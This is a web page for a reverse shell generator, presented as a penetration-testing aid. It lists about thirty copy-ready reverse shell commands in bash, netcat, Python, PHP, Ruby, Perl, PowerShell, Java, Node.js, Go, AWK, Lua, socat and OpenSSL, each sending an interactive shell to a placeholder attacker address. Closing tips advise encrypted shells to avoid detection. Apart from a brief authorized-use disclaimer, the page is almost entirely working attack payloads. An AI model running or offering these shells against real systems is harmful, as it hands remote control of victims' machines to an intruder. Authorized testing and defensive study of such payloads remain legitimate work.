Back to Tools

Reverse Shell Generator

Generate reverse shell payloads for penetration testing

Authorized Use Only

These payloads are for authorized penetration testing, CTF competitions, and security research only. Unauthorized use against systems you do not own or have permission to test is illegal.

Bash -i

bash

Interactive bash shell redirect

bash -i >& /dev/tcp/10.10.10.10/4444 0>&1

Bash with exec

bash

Bash using file descriptor

exec 5<>/dev/tcp/10.10.10.10/4444;cat <&5 | while read line; do $line 2>&5 >&5; done

Bash UDP

bash

Bash reverse shell over UDP

bash -i >& /dev/udp/10.10.10.10/4444 0>&1

Netcat -e

netcat

Netcat with -e flag (traditional)

Note: Requires netcat-traditional

nc -e /bin/sh 10.10.10.10 4444

Netcat -c

netcat

Netcat with -c flag

nc -c sh 10.10.10.10 4444

Netcat FIFO

netcat

Netcat using named pipe (works on most systems)

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 4444 >/tmp/f

Ncat SSL

netcat

Encrypted reverse shell using ncat

ncat --ssl 10.10.10.10 4444 -e /bin/sh

Python 3

python

Python 3 reverse shell

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Python 2

python

Python 2 reverse shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Python PTY

python

Python with PTY (better shell)

python3 -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'

PHP exec

php

PHP using exec()

php -r '$sock=fsockopen("10.10.10.10",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

PHP proc_open

php

PHP using proc_open()

php -r '$sock=fsockopen("10.10.10.10",4444);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'

PHP popen

php

PHP using shell_exec()

php -r '$sock=fsockopen("10.10.10.10",4444);shell_exec("/bin/sh -i <&3 >&3 2>&3");'

Ruby

ruby

Ruby reverse shell

ruby -rsocket -e'f=TCPSocket.open("10.10.10.10",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Ruby (no sh)

ruby

Ruby without spawning shell

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.10.10.10","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Perl

perl

Perl reverse shell

perl -e 'use Socket;$i="10.10.10.10";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Perl (no sh)

perl

Perl without sh

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.10.10.10:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

PowerShell

powershell

PowerShell TCP reverse shell

powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.10.10.10",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

PowerShell Base64

powershell

PowerShell encoded command

Note: Encode the shell command in Base64

powershell -e {BASE64}

Java Runtime

java

Java using Runtime.exec()

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.10.10/4444;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

Node.js

nodejs

Node.js reverse shell

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(4444, "10.10.10.10", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/;
})();

Node.js (one-liner)

nodejs

Node.js calling netcat

require('child_process').exec('nc -e /bin/sh 10.10.10.10 4444')

Go

golang

Golang reverse shell

echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","10.10.10.10:4444");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go

AWK

awk

AWK reverse shell

awk 'BEGIN {s = "/inet/tcp/0/10.10.10.10/4444"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

Lua

lua

Lua reverse shell

lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.10.10.10','4444');os.execute('/bin/sh -i <&3 >&3 2>&3');"

Socat

socat

Socat reverse shell with TTY

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.10.10:4444

Socat (listener)

socat

Socat listener command

Note: Run this on your attacking machine

socat file:`tty`,raw,echo=0 tcp-listen:4444

OpenSSL

openssl

Encrypted shell using OpenSSL

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.10.10.10:4444 > /tmp/s; rm /tmp/s

Security Testing Tips

  • • Use encrypted shells (SSL/TLS) when possible to avoid detection
  • • Consider using tools like pwncat for automatic shell upgrading
  • • Always document your testing and maintain proper authorization
  • • Clean up any artifacts after testing is complete